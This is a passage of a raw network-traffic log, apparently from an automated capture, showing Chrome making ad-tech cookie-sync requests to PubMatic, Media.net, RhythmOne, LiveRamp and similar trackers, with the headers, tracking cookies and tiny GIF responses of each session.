KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; PugT=1704929246; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; SPugT=1704929247
2024-01-10 23:27:28 UTC	663	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:28 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_594=17105-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005&KRTB&17107-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:28 GMT; path=/ Set-Cookie: PugT=1704929248; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:28 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:28 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
634	192.168.2.4	50477	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	1072	OUT	GET /cksync.php?cs=1&type=zem&ovsid=v79p4FQcaoSFEzqKnYP- HTTP/1.1 Host: contextual.media.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8; data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8; data-ze=v79p4FQcaoSFEzqKnYP-~~1; data-c-ts=1704929240; data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-r=LR8EUG12-1F-5JG4~~1; data-r1=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005~~8; data-pba=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~8; data-bs=f6435827-796b-4521-81e9-11e581628f69~~1
2024-01-10 23:27:28 UTC	629	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-ze=v79p4FQcaoSFEzqKnYP-~~1;Expires=Thu, 09 Jan 2025 23:27:28 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:28 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:28 GMT Connection: close
2024-01-10 23:27:28 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:28 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
635	192.168.2.4	50462	69.194.240.13	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	825	OUT	GET /usersync2/pubmatic&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%2C%22nxtrdr%22%3Afalse%7D
2024-01-10 23:27:28 UTC	761	IN	HTTP/1.1 302 Found date: Wed, 10 Jan 2024 23:27:28 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%2C%22nxtrdr%22%3Afalse%2C%22zdxidn%22%3A%221508%22%7D; path=/; expires=Thu, 09 Jan 2025 23:27:28 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://sync.mathtag.com/sync/img?mt_exid=74&redir=https%3A%2F%2Fsync.1rx.io%2Fusersync3%2Fmediamathtest%2F1508%2F%5BMM_UUID%5D%3Fzcc%3D0%26sspret%3D1&rndcb=1164739255 etag: RX3aca3d5089944e16b777d0ebcb44b35f005 connection: close
2024-01-10 23:27:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
636	192.168.2.4	50466	35.244.154.8	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	750	OUT	GET /396846.gif?served_by=evergreen&partner_uid=2b9b95ab-54c6-063d-2348-37d056d15d4c HTTP/1.1 Host: idsync.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: rlas3=Gj29/1caj2Jz2cgWXsmlck11XlQKEnC3di4CHt5kBGE=; pxrc=CN/P/KwGEgUI6AcQABIGCLjrARAA
2024-01-10 23:27:28 UTC	620	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Content-Type: image/gif P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: rlas3=xTdv0zT89Ohz2cgWXsmlck11XlQKEnC3di4CHt5kBGE=; Path=/; Domain=rlcdn.com; Expires=Thu, 09 Jan 2025 23:27:28 GMT; Secure; SameSite=None Set-Cookie: pxrc=CN/P/KwGEgUI6AcQABIGCLjrARAA; Path=/; Domain=rlcdn.com; Expires=Sun, 10 Mar 2024 23:27:28 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Wed, 10 Jan 2024 23:27:28 GMT Content-Length: 42 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:28 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
637	192.168.2.4	50461	82.145.213.8	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	758	OUT	GET /pub/sync?pubid=pub8730968190912 HTTP/1.1 Host: t.adx.opera.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=OPU94c5f6bfc10e4266866ca02b6e163de0
2024-01-10 23:27:28 UTC	807	IN	HTTP/1.1 302 Found Server: nginx Date: Wed, 10 Jan 2024 23:27:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 166 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, accept, origin, Cache-Control, X-Requested-With Access-Control-Allow-Methods: POST, GET Access-Control-Allow-Origin: * Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 01 Jan 1990 00:00:00 GMT Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0ODkmdGw9NDMyMDA=&piggybackCookie=OPU94c5f6bfc10e4266866ca02b6e163de0 Pragma: no-cache Set-Cookie: UID=OPU94c5f6bfc10e4266866ca02b6e163de0; Path=/; Domain=adx.opera.com; Max-Age=31536000; Secure; SameSite=None
2024-01-10 23:27:28 UTC	166	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 30 4f 44 6b 6d 64 47 77 39 4e 44 4d 79 4d 44 41 3d 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 4f 50 55 39 34 63 35 66 36 62 66 63 31 30 65 34 32 36 36 38 36 36 63 61 30 32 62 36 65 31 36 33 64 65 30 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0ODkmdGw9NDMyMDA=&piggybackCookie=OPU94c5f6bfc10e4266866ca02b6e163de0">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
638	192.168.2.4	50476	23.55.243.208	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	1236	OUT	GET /cksync.php?cs=1&type=sov&ovsid=H-G_bLZHIhhIpR6ZTj2OFYm3&axid_e= HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63; data-mag=LR8EUG12-1F-5JG4~~63
2024-01-10 23:27:29 UTC	667	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1;Expires=Mon, 08 Jul 2024 23:27:28 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:28 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:28 GMT Connection: close
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:29 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
639	192.168.2.4	50473	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	1170	OUT	GET /cksync.html?cs=8&vsid=3479308330180239000V10&type=opx&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=b6718352-3281-0abd-1f7e-c94ddda5ae48 HTTP/1.1 Host: contextual.media.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8; data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8; data-ze=v79p4FQcaoSFEzqKnYP-~~1; data-c-ts=1704929240; data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-r=LR8EUG12-1F-5JG4~~1; data-r1=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005~~8; data-pba=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~8; data-bs=f6435827-796b-4521-81e9-11e581628f69~~1
2024-01-10 23:27:29 UTC	659	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 231 Content-Type: text/html;charset=UTF-8 Set-Cookie: data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8;Expires=Wed, 08 Jan 2025 23:27:29 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:29 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:29 GMT Connection: close
2024-01-10 23:27:29 UTC	150	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 69 66 20 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 64 65 78 4f 66 28 22 69 73 48 74 6d 6c 3d 31 22 29 20 21 3d 3d 20 2d 31 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 74 6f 70 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 22 74 79 70 65 22 3a 22 63 6b 73 79 6e 63 22 2c 22 6e 61 6d 65 22 3a 22 Data Ascii: <!DOCTYPE html><html><head><script>if (window.location.href.indexOf("isHtml=1") !== -1) { window.top.postMessage({"type":"cksync","name":"
2024-01-10 23:27:29 UTC	81	IN	Data Raw: 22 2c 22 6f 76 73 69 64 22 3a 22 22 7d 2c 20 27 2a 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ","ovsid":""}, '*'); } </script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
640	192.168.2.4	50469	54.85.14.136	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	644	OUT	GET /s/75145?bidder_id=195755&bidder_uuid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 HTTP/1.1 Host: i.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:28 UTC	490	IN	HTTP/1.1 303 See Other Date: Wed, 10 Jan 2024 23:27:28 GMT Content-Length: 0 Connection: close Location: /s/75145?bidder_id=195755&bidder_uuid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&_li_chk=true&previous_uuid=3b659a55487043e2ac063f9936cf3c4b Set-Cookie: lidid=3b659a55-4870-43e2-ac06-3f9936cf3c4b; Max-Age=63072000; Expires=Fri, 09 Jan 2026 23:27:28 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
641	192.168.2.4	50470	35.169.211.189	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	718	OUT	GET /qmap?c=240&tp=PUBM&tpid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.crwdcntrl.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _cc_dc=0; _cc_id=618691626ce21064702c7cbd4f29296d
2024-01-10 23:27:28 UTC	314	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:28 GMT Content-Type: image/gif Content-Length: 49 Connection: close P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV Cache-Control: no-cache Pragma: no-cache Expires: 0 X-Server: 10.40.0.127 Access-Control-Allow-Origin: * Server: Jetty(9.4.38.v20210224)
2024-01-10 23:27:28 UTC	49	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 91 ff 00 ff ff ff 00 00 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 02 00 2c 00 00 00 00 01 00 01 00 00 02 02 54 01 00 3b Data Ascii: GIF89a!,T;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
642	192.168.2.4	50468	100.25.25.103	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	657	OUT	GET /tag/?id=20909&user_id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: bpi.rtactivate.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:28 UTC	140	IN	HTTP/1.1 200 OK Server: awselb/2.0 Date: Wed, 10 Jan 2024 23:27:28 GMT Content-Type: image/gif Content-Length: 43 Connection: close
2024-01-10 23:27:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
643	192.168.2.4	50472	23.55.243.208	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	1398	OUT	GET /cksync.php?cs=1&vsid=3479308310180275000V10&type=dtm&refUrl=&vid=49292349683479308310180275000V10&ovsid=AAACWBRgpry45AN_rYmFAAAAAAA&axid_e=&expiration=1705015639&nuid={{AXID}}&gpp_sid=&gpp=&is_secure=true&gdpr_consent=&gdpr=0 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63; data-mag=LR8EUG12-1F-5JG4~~63
2024-01-10 23:27:29 UTC	670	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1;Expires=Mon, 08 Jul 2024 23:27:28 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:28 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:28 GMT Connection: close
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:29 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
644	192.168.2.4	50471	52.22.57.218	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	641	OUT	GET /?companyId=673&id=pubmatic_id:AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 HTTP/1.1 Host: io.narrative.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
